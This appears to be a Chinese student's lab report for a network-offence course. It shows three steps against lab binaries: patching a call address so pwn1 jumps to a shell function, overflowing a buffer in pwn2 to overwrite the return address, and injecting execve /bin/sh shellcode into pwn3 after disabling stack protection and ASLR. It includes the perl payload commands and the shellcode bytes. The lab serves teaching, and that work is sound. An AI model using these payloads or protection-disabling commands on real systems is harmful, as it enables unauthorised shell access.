2019-2020-2-《网络对抗技术》-exp1 PC平台逆向破解
目录
1.实验目的
-
改变可执行文件pwn1的执行流程
-
手工修改可执行文件,使其直接跳转至getshell
-
使用foo函数的BOF漏洞,构造攻击输入字符串,覆盖返回地址,触发getshell函数
-
注入自己构造的shellcode并运行
-
-
学习如何注入运行任何shellcode
2.实验内容
2.1改变机器指令
(1. 前期准备工作:
-
下载pwn1文件,并存储在共享文件夹中
-
将文件复制到目标文件夹中,并保留副本
(2. 通过objdump -d pwn1 | more
进行反汇编
(3. 回车查看更多,翻到getshell、foo与main函数查看其地址。
-
原函数是在执行主函数时调用foo,即跳转到foo函数的首地址处。
-
如果要更改执行顺序,就需要更改跳转地址,使得程序跳转到getShell函数的首地址
-
主函数中8048491就是foo函数的首地址。这条指令的机器码部分是e8 d7 ff ff ff,其中e8是call指令的机器码,后面的d7 ff ff ff是目的地址减去eip寄
存器中地址的值,如果是负数要换算成补码。这里的e8 d7 ff ff ff是8048491-80484ba的结果换算成补码,因为eip寄存器中存放的是下一条指令所在的地址所以减去80484ba。 -
函数getShell的首地址是804847d,也就是说我们需要把804847d-80484ba的结果换算成补码,替换原来的e8 d7 ff ff ff,计算结果是ff ff ff c3
(4. 修改代码
vim
打开文件,发现是乱码状态
- 使用
:%!xxd
将文件修改为可以看懂的ASCII码状态
- 输入
/e8 7d
查询需要修改的地方,并将d7
改为c3
-
改完输入
%!xxd -r
,转换回十六进制 -
保存退出
(5. 再次进行反汇编查看
(6. 通过./pwn1
运行文件查看
2.2BOF改变指令流
(1. 通过objdump -d pwn2 | more
进行反汇编,由于漏洞存在于foo函数,所以通过更改方框中内容实现目的
(2. 返回地址eip
ebp
,构造一个字符串前28个字节存放在预留位置,后4个字节存放在ebp
,将getshell的地址通过构造字符串放在ebp
(3. 使用gdb pwn2
r
调试程序,随便输入40个字符,发现发生缓冲区溢出,显示Segmentation Fault
。其中的33-36个字符覆盖eip
寄存器的值,用info r
查看寄存器的值,如(2中若将eip
的值构造为0804847d就可以在foo函数执行完回到main函数时进入到getshell函数
(4. 构造一列字符实现目的,在16字节的内容后面加上getshell函数的首地址的ASCII码信息。其首地址为804847d是小端序列,输入格式<16字节的内容>+x7dx84x04x08
。使用perl指令perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a" ' > input
生成包括这个字符串的一个文件。
(5. 通过(cat input; cat ) | ./pwn2
查看结果
2.3shellcode注入
(1. 准备工作
-
安装execstak
-
修改堆栈设置
execstack -s pwn3
设置堆栈可执行execstack -q pwn3
查询文件的堆栈是否可执行,结果为X表示可执行more /proc/sys/kernel/randomize_va_space
查看随机化是否关闭echo "0" > /proc/sys/kernel/randomize_va_space
关闭随机化more /proc/sys/kernel/randomize_va_space
再次查看,结果为0证明已关闭
(2. 通过perl -e 'print "A" x 32;print"xd0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
构造shellcode,并将shellcode保存到input_shellcode
(3. 打开两个终端
A:```(cat input_shellcode;cat) | ./pwn3```运行pwn3
B:```ps -ef | grep pwn3```查看pwn3的进程号为3098
(4. 使用gdb
命令开始调试,输入attach 3098
连接到pwn3进程
(5. 输入disassemble foo
对foo函数进行反汇编查看foo函数return指令的地址为0x080448ae
(6. 输入break *0x080448ae
再此处设置断点
(7. A:回车,程序会执行到断点处
B:输入c在断点处继续运行,此时输入info r esp
查看esp
寄存器的值为0xffffd39c
输入```x/16x 0xffffd39c```以16进制形式查看```0xffffd39c```地址后面16字节的内容是在最开始构造的input_shellcode里的内容,所以将shellcode 注入地址为0xffffd39c+0x00000004=0xfffd3a0
(8. 通过perl -e 'print "A" x 32;print"xa0xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
改完注入地址input_shellcode
(9. 输入(cat input_shellcode;cat) | ./pwn3
运行pwn3,可以跳到构造的shellcode程序中
3.问题回答
(1. 实验中遇到的问题:
注入shellcode后运行检查发现出现段错误,有以下判断:
-
更改地址时代码出错:检查代码发现少一个
xff
,重新输入后,运行再次出错 -
采取第二种方法,打开
input_shellcode
文件检查,参考小组成员博客截图对比,发现除首地址外多输入一组ffff,进行更改,运行再次出错 -
参考博客后,判断是另一终端进程影响,关闭所有终端,重新打开终端运行成功
(2. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
-
NOP汇编指令的机器码是"90"
-
JNE汇编指令的机器码是"75"
-
JE 汇编指令的机器码是"74"
-
JMP汇编指令的机器码是"eb"
-
CMP汇编指令的机器码是"39"
(3. 什么是漏洞?漏洞有什么危害?
我认为漏洞是一个程序或一段代码中逻辑不完整的地方,这样的的地方可以通过有心人的利用影响程序的正常运行,造成一定的伤害。伤害可能是程序的不正常运行,如:实验中改变代码的执行顺序,也可能是通过不正常运行对用户信息的窃取等等。
(4. 实验的收获与感想
通过这次试验,我有切实体会到计算机执行一段程序过程和缓冲区溢出的危害,仅仅是通过改变一个函数返回地址和利用一个函数缓冲区溢出的漏洞就可以改变一个程序的执行顺序,攻防技术原来就是通过寻找排查一个程序中的每一个细小的失误来实现一些目的。